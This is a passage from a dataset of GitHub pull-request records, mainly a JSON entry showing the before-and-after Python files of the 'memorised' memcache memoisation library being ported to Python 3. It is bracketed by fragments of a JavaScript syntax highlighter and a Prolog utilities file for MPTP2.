{\n\t\t\tif (!this.element) {\n\t\t\t\tthis.element = this.builder[this.options.mode]();\n\t\t\t\tif (this.options.editable) { this.element.set('contenteditable', 'true'); }\n\t\t\t}\n\t\t\n\t\t\treturn this.element;\n\t\t},\n\t\t\n\t\ttoString: function() {\n\t\t\treturn this.code;\n\t\t}\n\t\t\n\t});\n\n\t/** Element Native extensions */\n\tElement.implement({ light: function(options){ return new Lighter(this, options); } });\n\n\t/** String functions */\n\tfunction chop(str) { return str.replace(/(^\\s*\\n|\\n\\s*$)/gi, ''); }\t\n\tfunction tabToSpaces(str, spaces) {\n\t\tfor (var i = 0, indent = ''; i < spaces; i++) { indent += ' '; }\n\t\treturn str.replace(/\\t/g, indent);\n\t}\n\t\n})();"}}
{"repo": "1stvamp/memorised", "pr_number": 12, "title": "Python 3 support and more", "state": "closed", "merged_at": "2014-08-14T17:33:15Z", "additions": 285, "deletions": 144, "files_changed": ["memorised/compat.py", "memorised/decorators.py", "memorised/tests.py", "memorised/utils.py", "setup.py"], "files_before": {"memorised/decorators.py": "\"\"\"memorised module - container for the memorise python-memcache decorator\"\"\"\n__author__ = 'Wes Mason <wes [at] 1stvamp [dot] org>'\n__docformat__ = 'restructuredtext en'\n__version__ = '1.0.1'\n\nimport memcache\nimport itertools\nfrom hashlib import md5\nfrom functools import wraps\nimport inspect\n\nclass memorise(object):\n        \"\"\"Decorate any function or class method/staticmethod with a memcace\n        enabled caching wrapper. Similar to the memoise pattern, this will push\n        mutator operators into memcache.Client.set(), and pull accessor\n        operations from memcache.Client.get().\n        An MD5 hash of values, such as attributes on the parent instance/class,\n        and arguements, is used as a unique key in memcache.\n\n        :Parameters:\n          `mc` : memcache.Client\n            The memcache client instance to use.\n          `mc_servers` : list\n            A list of memcache servers to use in the cluster.\n          `parent_keys` : list\n            A list of attributes in the parent instance or class to use for\n            key hashing.\n          `set` : string\n            An attribute present in the parent instance or class to set\n            to the same value as the cached return value. Handy for keeping\n            models in line if attributes are accessed directly in other\n            places, or for pickling instances.\n          `ttl` : integer\n            Tells memcached the time which this value should expire.\n            We default to 0 == cache forever. None is turn off caching.\n          `update` : boolean\n            If `invalidate` is False, Refresh ttl value in cache.\n            If `invalidate` is True, set the cache value to `value`\n          `invalidate` : boolean\n            Invalidates key\n          `value` : object\n            used only if invalidate == True and update == True\n            set the cached value to `value`\n        \"\"\"\n\n        def __init__(self, mc=None, mc_servers=None, parent_keys=[], set=None, ttl=0, update=False, invalidate=False, value=None):\n                # Instance some default values, and customisations\n                self.parent_keys = parent_keys\n                self.set = set\n                self.ttl = ttl\n                self.update = update\n                self.invalidate = invalidate\n                self.value = value\n\n                if not mc:\n                        if not mc_servers:\n                                mc_servers = ['localhost:11211']\n                        self.mc = memcache.Client(mc_servers, debug=0)\n                else:\n                        self.mc = mc\n\n        def __call__(self, fn):\n                @wraps(fn)\n                def wrapper(*args, **kwargs):\n                        # Get a list of arguement names from the func_code\n                        # attribute on the function/method instance, so we can\n                        # test for the presence of self or cls, as decorator\n                        # wrapped instances lose frame and no longer contain a\n                        # reference to their parent instance/class within this\n                        # frame\n                        argnames = fn.func_code.co_varnames[:fn.func_code.co_argcount]\n                        method = False\n                        static = False\n                        if len(argnames) > 0:\n                                if argnames[0] == 'self' or argnames[0] == 'cls':\n                                        method = True\n                                        if argnames[0] == 'cls':\n                                                static = True\n\n                        arg_values_hash = []\n                        # Grab all the keyworded and non-keyworded arguements so\n                        # that we can use them in the hashed memcache key\n                        for i,v in sorted(itertools.chain(itertools.izip(argnames, args), kwargs.iteritems())):\n                                if i != 'self':\n                                        if i != 'cls':\n                                                arg_values_hash.append(\"%s=%s\" % (i,v))\n\n                        class_name = None\n                        if method:\n                                keys = []\n                                if len(self.parent_keys) > 0:\n                                        for key in self.parent_keys:\n                                                keys.append(\"%s=%s\" % (key, getattr(args[0], key)))\n                                keys = ','.join(keys)\n                                if static:\n                                # Get the class name from the cls argument\n                                        class_name = args[0].__name__\n                                else:\n                                # Get the class name from the self argument\n                                        class_name = args[0].__class__.__name__\n                                module_name = inspect.getmodule(args[0]).__name__\n                                parent_name = \"%s.%s[%s]::\" % (module_name, class_name, keys)\n                        else:\n                                # Function passed in, use the module name as the\n                                # parent\n                                parent_name = inspect.getmodule(fn).__name__\n                        # Create a unique hash of the function/method call\n                        key = \"%s%s(%s)\" % (parent_name, fn.__name__, \",\".join(arg_values_hash))\n                        key = key.encode('utf8') if type(key)==unicode else key\n                        key = md5(key).hexdigest()\n                        if self.mc:\n                                # Try and get the value from memcache\n                                if self.invalidate and self.update:\n                                    output = self.value\n                                else:\n                                    output = (not self.invalidate) and self.mc.get(key)\n                                exist = True\n                                if not output:\n                                        exist = False\n                                        # Otherwise get the value from\n                                        # the function/method\n                                        output = fn(*args, **kwargs)\n                                if self.update or not exist:\n                                        if output is None:\n                                                set_value = memcache_none()\n                                        else:\n                                                set_value = output\n                                        # And push it into memcache\n                                        if self.ttl is not None:\n                                                self.mc.set(key, set_value, time=self.ttl)\n                                        else:\n                                                self.mc.set(key, set_value)\n                                if output.__class__ is memcache_none:\n                                        # Because not-found keys return\n                                        # a None value, we use the\n                                        # memcache_none stub class to\n                                        # detect these, and make a\n                                        # distinction between them and\n                                        # actual None values\n                                        output = None\n                                if self.set:\n                                        # Set an attribute of the parent\n                                        # instance/class to the output value,\n                                        # this can help when other code\n                                        # accesses attribures directly, or you\n                                        # want to pickle the instance\n                                        set_attr = getattr(fn.__class__, self.set)\n                                        set_attr = output\n\n                        else :\n                                # No memcache client instance available, just\n                                # return the output of the method\n                                output = fn(*args, **kwargs)\n                        return output\n                return wrapper\n\nclass memcache_none:\n        \"\"\"Stub class for storing None values in memcache,\n        so we can distinguish between None values and not-found\n        entries.\n        \"\"\"\n        pass\n\nif __name__ == '__main__':\n        # Run unit tests\n        from memorised import tests\n        tests.run()\n\n", "memorised/tests.py": "from memorised.decorators import memorise\nfrom memorised.utils import uncache\nimport unittest\nimport memcache\nimport uuid\n\ndef unique():\n        return str(uuid.uuid4())\n\nclass TestModel:\n        c = None\n        d = None\n        def __init__(self):\n                self.a = None\n                self.b = None\n                self.id = 1\n\n\n        def set_a(self, a):\n                self.a = a\n\n        @memorise(parent_keys=['id'])\n        def get_a(self):\n                return self.a\n\n        def set_b(self, b):\n                self.b = b\n\n        def get_b(self):\n                return self.b\n\n        @classmethod\n        def set_c(cls, c):\n                cls.c = c\n\n        @classmethod\n        @memorise()\n        def get_c(cls):\n                return cls.c\n\n        @classmethod\n        def set_d(cls, d):\n                cls.d = d\n\n        @classmethod\n        def get_d(cls):\n                return cls.d\n\n@memorise()\ndef func_get_a():\n        return unique()\n\ndef func_get_b():\n        return unique()\n\n@memorise()\ndef func_get_c(foo=None, bar=None):\n        return unique()\n\n@memorise()\ndef func_get_d(bar=None, foo=None):\n        return unique()\n\nclass TestMemorise(unittest.TestCase):\n        def setUp(self):\n                self.mc = memcache.Client(['localhost:11211'], debug=0)\n\n        def testsimplefunction(self):\n                uncache(func_get_a)()\n                a1 = func_get_a()\n                a2 = func_get_a()\n                self.assertEqual(a1, a2)\n                b1 = func_get_b()\n                b2 = func_get_b()\n                self.assertNotEqual(b1, b2)\n\n        def testinstancemethod(self):\n                t = TestModel()\n                u = unique()\n                t.set_a(u)\n                uncache(t.get_a, parent_keys=['id'])()\n                self.assertEqual(u, t.get_a())\n                t1 = TestModel()\n                self.assertEqual(u, t1.get_a())\n                t.set_b(u)\n                self.assertEqual(u, t.get_b())\n                t.set_b(1)\n                self.assertEqual(1, t.get_b())\n\n        def testclassmethod(self):\n                u = unique()\n                TestModel.set_c(u)\n                uncache(TestModel.get_c)()\n                self.assertEqual(u, TestModel.get_c())\n                TestModel.set_c(1)\n                self.assertEqual(u, TestModel.get_c())\n                TestModel.set_d(u)\n                self.assertEqual(u, TestModel.get_d())\n                TestModel.set_d(1)\n                self.assertNotEqual(u, TestModel.get_d())\n\n        def testkwargs(self):\n                uncache(func_get_c)()\n                c1 = func_get_c()\n                c2 = func_get_c()\n                self.assertEqual(c1, c2)\n                c3 = func_get_c(foo=1)\n                self.assertNotEqual(c1, c3)\n                c3 = func_get_c(1, 2)\n                c4 = func_get_c(foo=1, bar=2)\n                c5 = func_get_c(bar=2, foo=1)\n                self.assertEqual(c3, c4)\n                self.assertEqual(c3, c5)\n                uncache(func_get_d)()\n                d1 = func_get_d(1, 2)\n                d2 = func_get_d(foo=2, bar=1)\n                d3 = func_get_d(bar=1, foo=2)\n                self.assertEqual(d1, d2)\n                self.assertEqual(d1, d3)\n\ndef run():\n        print\n        print \"Running memorised.decorators test suite...\"\n        print\n        suite =        unittest.TestLoader().loadTestsFromTestCase(TestMemorise)\n        unittest.TextTestRunner(verbosity=2).run(suite)\n\nif __name__ == '__main__':\n        run()\n", "memorised/utils.py": "\"\"\"memorised module - container for the memorise python-memcache decorator\"\"\"\n__author__ = 'Wes Mason <wes [at] 1stvamp [dot] org>'\n__docformat__ = 'restructuredtext en'\n__version__ = '1.0.1'\n\nimport memcache\nfrom hashlib import md5\nimport inspect\n\ndef uncache(fn, mc=None, mc_servers=None, parent_keys=[]):\n        if not mc:\n                if not mc_servers:\n                        mc_servers = ['localhost:11211']\n                mc = memcache.Client(mc_servers, debug=0)\n        def wrapper(*args, **kwargs):\n                argnames = fn.func_code.co_varnames[:fn.func_code.co_argcount]\n                method = False\n                static = False\n                if hasattr(fn, 'im_self'):\n                        method = True\n                        if inspect.isclass(fn.im_self):\n                                static = True\n\n                arg_values_hash = []\n                # Grab all the keyworded and non-keyworded arguements so\n                # that we can use them in the hashed memcache key\n                for i,v in (zip(argnames, args) + kwargs.items()):\n                        arg_values_hash.append(\"%s=%s\" % (i,v))\n\n                class_name = None\n                if method:\n                        keys = []\n                        if len(parent_keys) > 0:\n                                for key in parent_keys:\n                                        keys.append(\"%s=%s\" % (key, getattr(fn.im_self, key)))\n                        keys = ','.join(keys)\n                        # Get the class name from the self argument\n                        if inspect.isclass(fn.im_self):\n                                class_name = fn.im_self.__name__\n                        else:\n                                class_name = fn.im_self.__class__.__name__\n                        module_name = inspect.getmodule(fn.im_self).__name__\n                        parent_name = \"%s.%s[%s]::\" % (module_name, class_name, keys)\n                else:\n                        # Function passed in, use the module name as the\n                        # parent\n                        parent_name = inspect.getmodule(fn).__name__\n                # Create a unique hash of the function/method call\n                key = \"%s%s(%s)\" % (parent_name, fn.__name__, \",\".join(arg_values_hash))\n                key = md5(key).hexdigest()\n\n                if mc:\n                        mc.delete(key)\n                        return True\n                else:\n                        return False\n        return wrapper\n", "setup.py": "\"\"\"Installer for memorised\n\"\"\"\n\nimport os\ncwd = os.path.dirname(__file__)\n\ntry:\n    from setuptools import setup, find_packages\nexcept ImportError:\n    from ez_setup import use_setuptools\n    use_setuptools()\n    from setuptools import setup, find_packages\n\nsetup(\n        name='memorised',\n        version='1.0.5',\n        author='Wes Mason',\n        author_email='wes@1stvamp.org',\n        description='memcache memoization decorators and utils for python',\n        long_description=open(os.path.join(cwd, 'README.rst')).read(),\n        url='http://github.com/1stvamp/memorised/',\n        packages=find_packages(exclude=('ez_setup',)),\n        install_requires=('python-memcached',),\n        license='BSD'\n)\n"}, "files_after": {"memorised/compat.py": "\"\"\"\nCompatibility utilities for running Python 2 and 3 from the same codebase.\n\"\"\"\n\nimport operator\nimport sys\n\n\nPY3 = sys.version_info[0] == 3\n\n\nif PY3:\n    text_type = str\n\n    def iteritems(d, **kw):\n        return iter(d.items(**kw))\n\n    izip = zip\n    _meth_self = \"__self__\"\n    _func_code = \"__code__\"\nelse:\n    text_type = unicode\n\n    def iteritems(d, **kw):\n        return iter(d.iteritems(**kw))\n\n    from itertools import izip\n    _meth_self = \"im_self\"\n    _func_code = \"func_code\"\n\n\nget_method_self = operator.attrgetter(_meth_self)\nget_function_code = operator.attrgetter(_func_code)\n", "memorised/decorators.py": "\"\"\"memorised module - container for the memorise python-memcache decorator\"\"\"\n__author__ = 'Wes Mason <wes [at] 1stvamp [dot] org>'\n__docformat__ = 'restructuredtext en'\n__version__ = '1.0.1'\n\nfrom functools import wraps\nfrom hashlib import md5\nimport inspect\nimport itertools\n\nimport memcache\n\nfrom memorised import compat\n\n\nclass memorise(object):\n        \"\"\"Decorate any function or class method/staticmethod with a memcace\n        enabled caching wrapper. Similar to the memoise pattern, this will push\n        mutator operators into memcache.Client.set(), and pull accessor\n        operations from memcache.Client.get().\n        An MD5 hash of values, such as attributes on the parent instance/class,\n        and arguements, is used as a unique key in memcache.\n\n        :Parameters:\n          `mc` : memcache.Client\n            The memcache client instance to use.\n          `mc_servers` : list\n            A list of memcache servers to use in the cluster.\n          `parent_keys` : list\n            A list of attributes in the parent instance or class to use for\n            key hashing.\n          `set` : string\n            An attribute present in the parent instance or class to set\n            to the same value as the cached return value. Handy for keeping\n            models in line if attributes are accessed directly in other\n            places, or for pickling instances.\n          `ttl` : integer\n            Tells memcached the time which this value should expire.\n            We default to 0 == cache forever. None is turn off caching.\n          `update` : boolean\n            If `invalidate` is False, Refresh ttl value in cache.\n            If `invalidate` is True, set the cache value to `value`\n          `invalidate` : boolean\n            Invalidates key\n          `value` : object\n            used only if invalidate == True and update == True\n            set the cached value to `value`\n        \"\"\"\n\n        def __init__(self, mc=None, mc_servers=None, parent_keys=[], set=None, ttl=0, update=False,\n                     invalidate=False, value=None):\n                # Instance some default values, and customisations\n                self.parent_keys = parent_keys\n                self.set = set\n                self.ttl = ttl\n                self.update = update\n                self.invalidate = invalidate\n                self.value = value\n\n                if not mc:\n                        if not mc_servers:\n                                mc_servers = ['localhost:11211']\n                        self.mc = memcache.Client(mc_servers, debug=0)\n                else:\n                        self.mc = mc\n\n        def __call__(self, fn):\n                @wraps(fn)\n                def wrapper(*args, **kwargs):\n                        key = self.key(fn, args, kwargs)\n                        if self.mc:\n                                # Try and get the value from memcache\n                                if self.invalidate and self.update:\n                                    output = self.value\n                                else:\n                                    output = (not self.invalidate) and self.get_cache(key)\n                                exist = True\n                                if output is None:\n                                        exist = False\n                                        # Otherwise get the value from\n                                        # the function/method\n                                        output = self.call_function(fn, args, kwargs)\n                                if self.update or not exist:\n                                        if output is None:\n                                                set_value = memcache_none()\n                                        else:\n                                                set_value = output\n                                        self.set_cache(key, set_value)\n                                if output.__class__ is memcache_none:\n                                        # Because not-found keys return\n                                        # a None value, we use the\n                                        # memcache_none stub class to\n                                        # detect these, and make a\n                                        # distinction between them and\n                                        # actual None values\n                                        output = None\n                                if self.set:\n                                        # Set an attribute of the parent\n                                        # instance/class to the output value,\n                                        # this can help when other code\n                                        # accesses attribures directly, or you\n                                        # want to pickle the instance\n                                        set_attr = getattr(fn.__class__, self.set)\n                                        set_attr = output\n\n                        else:\n                                # No memcache client instance available, just\n                                # return the output of the method\n                                output = self.call_function(fn, args, kwargs)\n                        return output\n                return wrapper\n\n        def call_function(self, fn, args, kwargs):\n            return fn(*args, **kwargs)\n\n        def key(self, fn, args, kwargs):\n                # Get a list of arguement names from the func_code\n                # attribute on the function/method instance, so we can\n                # test for the presence of self or cls, as decorator\n                # wrapped instances lose frame and no longer contain a\n                # reference to their parent instance/class within this\n                # frame\n                func_code = compat.get_function_code(fn)\n                argnames = func_code.co_varnames[:func_code.co_argcount]\n                method = False\n                static = False\n                if len(argnames) > 0:\n                        if argnames[0] == 'self' or argnames[0] == 'cls':\n                                method = True\n                                if argnames[0] == 'cls':\n                                        static = True\n\n                arg_values_hash = []\n                # Grab all the keyworded and non-keyworded arguements so\n                # that we can use them in the hashed memcache key\n                for i, v in sorted(itertools.chain(compat.izip(argnames, args),\n                                                   compat.iteritems(kwargs))):\n                        if i != 'self':\n                                if i != 'cls':\n                                        arg_values_hash.append(\"%s=%s\" % (i, v))\n\n                class_name = None\n                if method:\n                        keys = []\n                        if len(self.parent_keys) > 0:\n                                for key in self.parent_keys:\n                                        keys.append(\"%s=%s\" % (key, getattr(args[0], key)))\n                        keys = ','.join(keys)\n                        if static:\n                                # Get the class name from the cls argument\n                                class_name = args[0].__name__\n                        else:\n                                # Get the class name from the self argument\n                                class_name = args[0].__class__.__name__\n                        module_name = inspect.getmodule(args[0]).__name__\n                        parent_name = \"%s.%s[%s]::\" % (module_name, class_name, keys)\n                else:\n                        # Function passed in, use the module name as the\n                        # parent\n                        parent_name = inspect.getmodule(fn).__name__\n                # Create a unique hash of the function/method call\n                key = \"%s%s(%s)\" % (parent_name, fn.__name__, \",\".join(arg_values_hash))\n                key = key.encode('utf8') if isinstance(key, compat.text_type) else key\n                key = md5(key).hexdigest()\n                return key\n\n        def get_cache(self, key):\n            return self.mc.get(key)\n\n        def set_cache(self, key, value):\n            if self.ttl is not None:\n                    self.mc.set(key, value, time=self.ttl)\n            else:\n                    self.mc.set(key, value)\n\n\nclass memcache_none:\n        \"\"\"Stub class for storing None values in memcache,\n        so we can distinguish between None values and not-found\n        entries.\n        \"\"\"\n        pass\n\n\nif __name__ == '__main__':\n        # Run unit tests\n        from memorised import tests\n        tests.run()\n", "memorised/tests.py": "# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nimport unittest\nimport uuid\n\nimport memcache\n\nfrom memorised.decorators import memorise, memcache_none\n\n\nclass instrumented_memorise(memorise):\n        \"\"\"\n        A version of the memorise decorator that records the number of cache\n        and function calls it makes.\n        \"\"\"\n\n        def __init__(self, *args, **kwargs):\n                super(instrumented_memorise, self).__init__(*args, **kwargs)\n                self.reset()\n\n        def __call__(self, *args, **kwargs):\n                func = super(instrumented_memorise, self).__call__(*args, **kwargs)\n                func.mem = self\n                return func\n\n        def reset(self):\n                self.get_calls = 0\n                self.set_calls = 0\n                self.function_calls = 0\n\n        def call_function(self, *args, **kwargs):\n                value = super(instrumented_memorise, self).call_function(*args, **kwargs)\n                self.function_calls += 1\n                return value\n\n        def get_cache(self, *args, **kwargs):\n                value = super(instrumented_memorise, self).get_cache(*args, **kwargs)\n                self.get_calls += 1\n                return value\n\n        def set_cache(self, *args, **kwargs):\n                value = super(instrumented_memorise, self).set_cache(*args, **kwargs)\n                self.set_calls += 1\n                return value\n\n\ndef unique():\n        return str(uuid.uuid4())\n\n\nclass Model:\n        c = None\n        d = None\n\n        def __init__(self):\n                self.a = None\n                self.b = None\n                self.id = 1\n\n        def set_a(self, a):\n                self.a = a\n\n        @memorise(parent_keys=['id'])\n        def get_a(self):\n                return self.a\n\n        def set_b(self, b):\n                self.b = b\n\n        def get_b(self):\n                return self.b\n\n        @classmethod\n        def set_c(cls, c):\n                cls.c = c\n\n        @classmethod\n        @memorise()\n        def get_c(cls):\n                return cls.c\n\n        @classmethod\n        def set_d(cls, d):\n                cls.d = d\n\n        @classmethod\n        def get_d(cls):\n                return cls.d\n\n\n@memorise()\ndef func_get_a():\n        return unique()\n\n\ndef func_get_b():\n        return unique()\n\n\n@memorise()\ndef func_get_c(foo=None, bar=None):\n        return unique()\n\n\n@memorise()\ndef func_get_d(bar=None, foo=None):\n        return unique()\n\n\n@memorise()\ndef func_unicode():\n        return '\u00a7'\n\n\n@instrumented_memorise()\ndef func_none():\n        return None\n\n\n@instrumented_memorise()\ndef func_zero():\n        return 0\n\n\n@instrumented_memorise()\ndef func_nonzero():\n        return 1\n\n\nclass TestMemorise(unittest.TestCase):\n        def setUp(self):\n                self.mc = memcache.Client(['localhost:11211'], debug=0)\n                self.mc.flush_all()\n\n        def testsimplefunction(self):\n                a1 = func_get_a()\n                a2 = func_get_a()\n                self.assertEqual(a1, a2)\n                b1 = func_get_b()\n                b2 = func_get_b()\n                self.assertNotEqual(b1, b2)\n\n        def testinstancemethod(self):\n                t = Model()\n                u = unique()\n                t.set_a(u)\n                self.assertEqual(u, t.get_a())\n                t1 = Model()\n                self.assertEqual(u, t1.get_a())\n                t.set_b(u)\n                self.assertEqual(u, t.get_b())\n                t.set_b(1)\n                self.assertEqual(1, t.get_b())\n\n        def testclassmethod(self):\n                u = unique()\n                Model.set_c(u)\n                self.assertEqual(u, Model.get_c())\n                Model.set_c(1)\n                self.assertEqual(u, Model.get_c())\n                Model.set_d(u)\n                self.assertEqual(u, Model.get_d())\n                Model.set_d(1)\n                self.assertNotEqual(u, Model.get_d())\n\n        def testkwargs(self):\n                c1 = func_get_c()\n                c2 = func_get_c()\n                self.assertEqual(c1, c2)\n                c3 = func_get_c(foo=1)\n                self.assertNotEqual(c1, c3)\n                c3 = func_get_c(1, 2)\n                c4 = func_get_c(foo=1, bar=2)\n                c5 = func_get_c(bar=2, foo=1)\n                self.assertEqual(c3, c4)\n                self.assertEqual(c3, c5)\n                d1 = func_get_d(1, 2)\n                d2 = func_get_d(foo=2, bar=1)\n                d3 = func_get_d(bar=1, foo=2)\n                self.assertEqual(d1, d2)\n                self.assertEqual(d1, d3)\n\n        def test_return_value_unicode(self):\n                f = func_unicode\n                value = '\\u00A7'  # \u00a7 (section) symbol.\n                a1 = f()\n                self.assertEqual(a1, value)\n                a2 = f()\n                self.assertEqual(a1, a2)\n\n        def test_return_value_none(self):\n                f = func_none\n                f.mem.reset()\n                self.assertEqual(f.mem.function_calls, 0)\n                a1 = f()\n                self.assertEqual(f.mem.function_calls, 1)\n                # The function should give us back None, and the cache should\n                # contain the memcache_none sentinal value.\n                self.assertEqual(a1, None)\n                self.assertTrue(isinstance(f.mem.get_cache(f.mem.key(f, (), {})), memcache_none))\n                a2 = f()\n                self.assertEqual(f.mem.function_calls, 1)\n                self.assertEqual(a1, a2)\n\n        def test_return_value_zero(self):\n                f = func_zero\n                f.mem.reset()\n                self.assertEqual(f.mem.function_calls, 0)\n                a1 = f()\n                self.assertEqual(f.mem.function_calls, 1)\n                self.assertEqual(a1, 0)\n                self.assertEqual(f.mem.get_cache(f.mem.key(f, (), {})), 0)\n                a2 = f()\n                self.assertEqual(f.mem.function_calls, 1)\n                self.assertEqual(a1, a2)\n\n        def test_return_value_nonzero(self):\n                f = func_nonzero\n                f.mem.reset()\n                self.assertEqual(f.mem.function_calls, 0)\n                a1 = f()\n                self.assertEqual(f.mem.function_calls, 1)\n                self.assertEqual(a1, 1)\n                self.assertEqual(f.mem.get_cache(f.mem.key(f, (), {})), 1)\n                a2 = f()\n                self.assertEqual(f.mem.function_calls, 1)\n                self.assertEqual(a1, a2)\n\n\ndef run():\n        print()\n        print(\"Running memorised.decorators test suite...\")\n        print()\n        suite = unittest.TestLoader().loadTestsFromTestCase(TestMemorise)\n        unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == '__main__':\n        run()\n", "setup.py": "\"\"\"Installer for memorised\n\"\"\"\n\nimport os\ncwd = os.path.dirname(__file__)\n\ntry:\n    from setuptools import setup, find_packages\nexcept ImportError:\n    from ez_setup import use_setuptools\n    use_setuptools()\n    from setuptools import setup, find_packages\n\n\nfrom memorised import compat\n\n\n# python-memcached does not have a release compatible with Python 3,\n# so use fork: https://github.com/eguven/python3-memcached\nif compat.PY3:\n    install_requires = ('python3-memcached',)\nelse:\n    install_requires = ('python-memcached',)\n\n\nsetup(\n        name='memorised',\n        version='1.0.5',\n        author='Wes Mason',\n        author_email='wes@1stvamp.org',\n        description='memcache memoization decorators and utils for python',\n        long_description=open(os.path.join(cwd, 'README.rst')).read(),\n        url='http://github.com/1stvamp/memorised/',\n        packages=find_packages(exclude=('ez_setup',)),\n        install_requires=install_requires,\n        license='BSD',\n        classifiers = [\n                'Programming Language :: Python',\n                'Programming Language :: Python :: 2',\n                'Programming Language :: Python :: 2.6',\n                'Programming Language :: Python :: 2.7',\n                'Programming Language :: Python :: 3',\n                'Programming Language :: Python :: 3.2',\n                'Programming Language :: Python :: 3.3',\n                'Programming Language :: Python :: 3.4',\n        ],\n)\n"}}
{"repo": "JUrban/MPTP2", "pr_number": 1, "title": "typo: ''definition'' should be ''definition''", "state": "closed", "merged_at": "2011-10-18T20:50:15Z", "additions": 89, "deletions": 89, "files_changed": ["utils.pl"], "files_before": {"utils.pl": "%%- -*-Mode: Prolog;-*--------------------------------------------------\n%%\n%% $Revision: 1.151 $\n%%\n%% File  : utils.pl\n%%\n%% Author: Josef Urban\n%%\n%%  MPTP2 Prolog utilities, tested only with SWI Prolog 5.2 now.\n%%  The top-level predicate is now mk_nonnumeric/0\n%%  or mk_first100/0, see below. You also need to set the mml_dir/1\n%%  location here appropriately.\n%%  The top-level predicate for createing MPTPChallenge problems is e.g.\n%%  :- mk_problems_from_file('mptp_chall_problems').\n%%------------------------------------------------------------------------\n\n\n%%%%%%%%%%%%%%%%%%%% Settings %%%%%%%%%%%%%%%%%%%%\n\n%% set this to the location of Prolog files created from MML\n%% ('pl' directory in the distro).\n%mml_dir(\"/home/urban/miztmp/distro/pl/\").\n%mml_dir(\"/home/urban/mptp/pl/\").\nmml_dir(\"/home/urban/rsrch/MPTP2/pl/\").\n%mml_dir(\"/big/urban/miztmp/mml3/tmp/\").\nmml_dir_atom(A):- mml_dir(S), string_to_atom(S,A).\n\n%% version of MML needed for requirements (encoding of numbers)\n%mml_version([4,48,930]).\nmml_version([4,100,1011]).\n%% switch to fail for debug\noptimize_fraenkel. % :- fail.\n\n%% appends __Article to local constants, lemmas, etc. - use it for\n%% mixing local stuff from different articles consistently.\n%% (all atoms starting with c[0-9]+_\nabsolute_locals. %%:- fail.\n\n\n%% debugging, Flags can be: [dbg_FRAENKELS,dbg_CLUSTERS,dbg_REQS,dbg_FIXPOINT,dbg_LEVEL_REFS]\ndbg_flags([]).\ndbg(Flag, Goal):-\n\tdbg_flags(Flags), member(Flag, Flags), !, Goal.\ndbg(_,_).\n\n%%%%%%%%%%%%%%%%%%%% End of settings %%%%%%%%%%%%%%%%%%%%\n\n%%%%%%%%%%%%%%%%%%%% Options %%%%%%%%%%%%%%%%%%%%\nopt_available([opt_REM_SCH_CONSTS,\t%% generalize local constants in scheme instances\n\t       opt_MK_TPTP_INF,\t\t%% better tptp inference slot and no mptp_info\n\t       opt_TPTP_SHORT,\t        %% short tptp format (parsable by vampire too)\n\t       opt_NO_EX_BG_FLAS,       %% do not include existential background in fixpoint\n\t       opt_FXP_CHECK_CNSDR,     %% add rclusters for suspisous consider_justifications\n\t       opt_ADDED_NON_MML,       %% unary functor passing a list of nonMML article names\n\t       opt_NON_MML_DIR,         %% unary functor passing a nonstandard directory for the article\n\t       opt_LOAD_MIZ_ERRORS,     %% import err2 file with Mizar's errors\n\t       opt_PROB_PRINT_FUNC,\t%% unary functor passing a special printing func\n\t       opt_PRINT_PROB_PROGRESS, %% print processed problems to stdout\n\t       opt_ARTICLE_AS_TPTP_AXS, %% print the whole article as tptp axioms\n\t       opt_PP_SMALLER_INCLUDES, %% unary functor passing a list of possible includes,\n\t                                %% used with print_refs_as_tptp_includes\n\t       opt_TPTPFIX_ND_ROLE,\t%% make the role acceptable to GDV\n\t       opt_ADD_INTEREST,\t%% add interestingness to useful info\n\t       opt_LINE_COL_NMS,        %% problem are named LINE_COL instead\n\t       opt_CONJECTURE_NMS,      %% problem are named as its conjecture\n\t       opt_LEVEL_REF_INFO,      %% .refspec file with immediate references is printed\n\t       opt_ALLOWED_REF_INFO,    %% .allowed_local file with accessible references is printed\n\t       opt_PROVED_BY_INFO,      %% .proved_by0 file with orig refs (no bg) printed\n\t       opt_DBG_LEVS_POS,        %% print a debugging info for levels and positions\n\t       opt_NO_FRAENKEL_CONST_GEN, %% do not generalize local consts when abstracting fraenkels\n\t                                 %% (useful for fast translation, when consts are not loaded)\n\t       opt_LEARN_EDGE,           %% print fromula as labeled graph edges for learning\n\t       opt_LEARN_SYMS_SMALL      %% symbols are numbered starting from 0 instead of references\n\t      ]).\n\n%%%%%%%%%%%%%%%%%%%% End of options %%%%%%%%%%%%%%%%%%%%\n\n\nzip([],[],[]).\nzip([H|T],[H1|T1],[[H,H1]|T2]):- zip(T,T1,T2).\n\nzip_s(_,[],[],[]).\nzip_s(S,[H|T],[H1|T1],[Trm|T2]):-\n\tTrm =.. [S,H,H1],\n\tzip_s(S,T,T1,T2).\n\n% when the second is list of lists\nzip1([],[],[]).\nzip1([H|T],[H1|T1],[[H|H1]|T2]):- zip1(T,T1,T2).\n\nappend_l(In,Out):- reverse(In,In1),append_l1(In1,[],Out).\nappend_l1([],P,P).\nappend_l1([H|T],Done,Res):-\n\tappend(H,Done,Res1),\n\tappend_l1(T,Res1,Res).\n\n%% nonempty_intersection(Set1, Set2) (not used for anything now)\nnonempty_intersection([H|_],Set2):- memberchk(H,Set2),!.\nnonempty_intersection([_|T],Set2):- nonempty_intersection(T,Set2),!.\n\n%% succeed once or throw ecxeption\nensure(Goal, Exception):- Goal,!; throw(Exception).\n\n%% equivalence classes under binary predicate P\n%% eqclasses(EquivalencePredicate, InputList, EqClasses)\neqclasses(_,[],[]).\neqclasses(P,[H|T],[E_h|O_t]):-\n\teqcl1(P,H,[H|T],E_h,N_h),\n\teqclasses(P,N_h,O_t).\n\n% eqcl1(EquivalencePredicate, Member, InputList, Equivalent, NonEquivalent)\neqcl1(_,_,[],[],[]).\neqcl1(P,H1,[H2|I],[H2|O],R):-\n\tapply(P,[H1,H2]) -> eqcl1(P,H1,I,O,R),!.\neqcl1(P,H1,[H2|I],O,[H2|R]):-\n\teqcl1(P,H1,I,O,R).\n\n% insert into P-eqclasses (keeping copies)\n% eqc_insert(EquivalencePredicate, Member, InputEqClasses, OutputEqClasses)\neqc_insert(_,M,[],[[M]]).\neqc_insert(P,M,[[M1|H]|T],[[M,M1|H]|T]):-\n\tapply(P,[M,M1]),!.\neqc_insert(P,M,[H|T],[H|T1]):-\n\teqc_insert(P,M,T,T1).\n\n% stolen from tptp2X.main\n%----Runtime version of operators\ndeclare_TPTP_operators:-\n    op(99,fx,'$'),\n    op(100,fx,++),\n    op(100,fx,--),\n    op(100,xf,'!'),\n    op(405,xfx,'='),\n    